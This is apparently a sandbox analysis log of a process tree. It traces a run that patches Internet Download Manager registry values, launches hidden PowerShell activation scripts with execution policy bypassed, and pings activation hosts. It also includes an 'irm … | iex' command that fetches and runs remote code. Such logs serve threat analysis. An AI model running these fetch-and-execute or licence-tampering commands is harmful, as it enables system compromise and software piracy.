C:\Windows\system32\reg.exeREG ADD "HKLM\Software\Internet Download Manager" /v "AdvIntDriverEnabled2" /t REG_DWORD /d "1" /f3⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKLM\Software\WOW6432Node\Internet Download Manager" /v "AdvIntDriverEnabled2" /t REG_DWORD /d "1" /f3⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKCU\Software\DownloadManager" /v "nLst" /t REG_DWORD /d "1" /f3⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKCU\Software\DownloadManager" /v "LName" /t REG_SZ /d " " /f3⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKCU\Software\DownloadManager" /v "FName" /t REG_SZ /d "Admin" /f3⤵
-
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -NoLogo -WindowStyle Minimized -File "C:\Users\Admin\AppData\Local\Temp\\MASAIO.ps1"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -NoLogo -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\MAS_AIO_WIN.ps1"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo CMD is working"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Windows\Temp\MAS_c52550b6-5a09-4e3d-acc5-744c10d1a946.cmd" -el "4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /c ""C:\Windows\Temp\MAS_c52550b6-5a09-4e3d-acc5-744c10d1a946.cmd" -el re1"5⤵
- Executes a command shell one-liner
-
C:\Windows\System32\sc.exesc query Null6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "C:\Windows\Temp\MAS_c52550b6-5a09-4e3d-acc5-744c10d1a946.cmd"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el " "6⤵
-
-
C:\Windows\System32\find.exefind /i "/"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver6⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV26⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "AMD64 " "6⤵
-
-
C:\Windows\System32\find.exefind /i "ARM64"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c echo prompt $E | cmd6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo prompt $E "7⤵
-
-
C:\Windows\System32\cmd.execmd7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_c52550b6-5a09-4e3d-acc5-744c10d1a946.cmd" "6⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"6⤵
-
-
C:\Windows\System32\fltMC.exefltmc6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_c52550b6-5a09-4e3d-acc5-744c10d1a946.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}" 2>nul6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_c52550b6-5a09-4e3d-acc5-744c10d1a946.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}"7⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c mode con6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\mode.commode con7⤵
-
-
-
C:\Windows\System32\reg.exereg query HKCU\Console /v QuickEdit6⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "0x0"6⤵
-
-
C:\Windows\System32\reg.exereg add HKCU\Console /v QuickEdit /t REG_DWORD /d 0 /f6⤵
- Modifies registry key
-
-
C:\Windows\System32\cmd.execmd.exe /c ""C:\Windows\Temp\MAS_c52550b6-5a09-4e3d-acc5-744c10d1a946.cmd" -el -qedit"6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\sc.exesc query Null7⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"7⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "C:\Windows\Temp\MAS_c52550b6-5a09-4e3d-acc5-744c10d1a946.cmd"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el -qedit" "7⤵
-
-
C:\Windows\System32\find.exefind /i "/"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver7⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV27⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "AMD64 " "7⤵
-
-
C:\Windows\System32\find.exefind /i "ARM64"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c echo prompt $E | cmd7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo prompt $E "8⤵
-
-
C:\Windows\System32\cmd.execmd8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_c52550b6-5a09-4e3d-acc5-744c10d1a946.cmd" "7⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"7⤵
-
-
C:\Windows\System32\fltMC.exefltmc7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_c52550b6-5a09-4e3d-acc5-744c10d1a946.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_c52550b6-5a09-4e3d-acc5-744c10d1a946.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}"8⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c mode con7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\mode.commode con8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 activated.win7⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -n 1 activated.win8⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 updatecheck312.activated.win7⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -n 1 updatecheck312.activated.win8⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el -qedit" "7⤵
-
-
C:\Windows\System32\find.exefind /i "/S"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el -qedit" "7⤵
-
-
C:\Windows\System32\find.exefind /i "/"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop8⤵
-
-
-
C:\Windows\System32\mode.commode 76, 347⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds7⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "O365"7⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds7⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "O365"7⤵
-
-
C:\Windows\System32\choice.exechoice /C:12345678EH0 /N7⤵
-
-
-
C:\Windows\System32\reg.exereg add HKCU\Console /v QuickEdit /t REG_DWORD /d 1 /f6⤵
- Modifies registry key
-
-
-
-
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -NoLogo -Command "irm https://christitus.com/win | iex"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c del /f /q "%TEMP%\MAS*.ps1" "%TEMP%\*UPDT.vbs" "%TEMP%\*WININF.vbs" 2>nul2⤵
-
-
C:\Program Files (x86)\Internet Download Manager\IDMan.exe"C:\Program Files (x86)\Internet Download Manager\IDMan.exe" -Embedding1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe"C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe" -runcm2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files (x86)\Internet Download Manager\Uninstall.exe"C:\Program Files (x86)\Internet Download Manager\Uninstall.exe" -instdriv2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\RUNDLL32.EXE"C:\Windows\Sysnative\RUNDLL32.EXE" SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 C:\Program Files (x86)\Internet Download Manager\idmwfp.inf3⤵
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Windows\system32\runonce.exe"C:\Windows\system32\runonce.exe" -r4⤵
- Checks processor information in registry
-
C:\Windows\System32\grpconv.exe"C:\Windows\System32\grpconv.exe" -o5⤵
-
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"4⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffd8fc9c728,0x7ffd8fc9c734,0x7ffd8fc9c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1968,i,15327202862187890596,13750903289151568333,524288 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=2752 /prefetch:32⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1744,i,2723912029598182116,13802125069865757559,262144 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=2728 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2292,i,1152540728340199837,5577485955013662978,524288 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=2764 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3236,i,5071012559252743516,4082342125975018081,2097152 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=3272 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3240,i,9648223791448981844,7935173311955093649,2097152 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=3276 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3848,i,7298820529945829999,17214737708364912737,2097152 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=3868 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4728,i,15128808348170670356,17727876031393629637,2097152 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=4736 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5424,i,7567119887320494792,10067209630885450203,524288 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=5416 /prefetch:82⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.a15dac6efb51ce22 > \\.\pipe\chrome.nativeMessaging.out.a15dac6efb51ce222⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=03⤵
- Executes dropped EXE
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.32f3d2b94119e719 > \\.\pipe\chrome.nativeMessaging.out.32f3d2b94119e7192⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=03⤵
- Executes dropped EXE
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.3c4f5b862837bf57 > \\.\pipe\chrome.nativeMessaging.out.3c4f5b862837bf572⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=03⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5832,i,7851635600349998290,12547923318988767220,524288 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=5828 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5876,i,8535400194825256841,13036309840093794452,524288 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=5912 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5880,i,4362538897845987052,4390760411407694036,524288 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=5936 /prefetch:82⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.e0e70a9830d08251 > \\.\pipe\chrome.nativeMessaging.out.e0e70a9830d082512⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=03⤵
- Executes dropped EXE
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5956,i,767754385267399702,6054779127127718971,2097152 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=6024 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=4744,i,7766560740430851254,11685442525768200495,2097152 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=6136 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=4780,i,11340733813463326271,2666922908873212667,2097152 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=3320 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4808,i,11188751653013522625,9528518549301836962,524288 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=3280 /prefetch:82⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.e2ebdd56860cb5ed > \\.\pipe\chrome.nativeMessaging.out.e2ebdd56860cb5ed2⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=03⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5784,i,3651197067070573060,3452133012633222061,524288 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=4772 /prefetch:82⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.a276cf9963bdf013 > \\.\pipe\chrome.nativeMessaging.out.a276cf9963bdf0132⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=03⤵
- Executes dropped EXE
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.b22676c79e426718 > \\.\pipe\chrome.nativeMessaging.out.b22676c79e4267182⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=03⤵
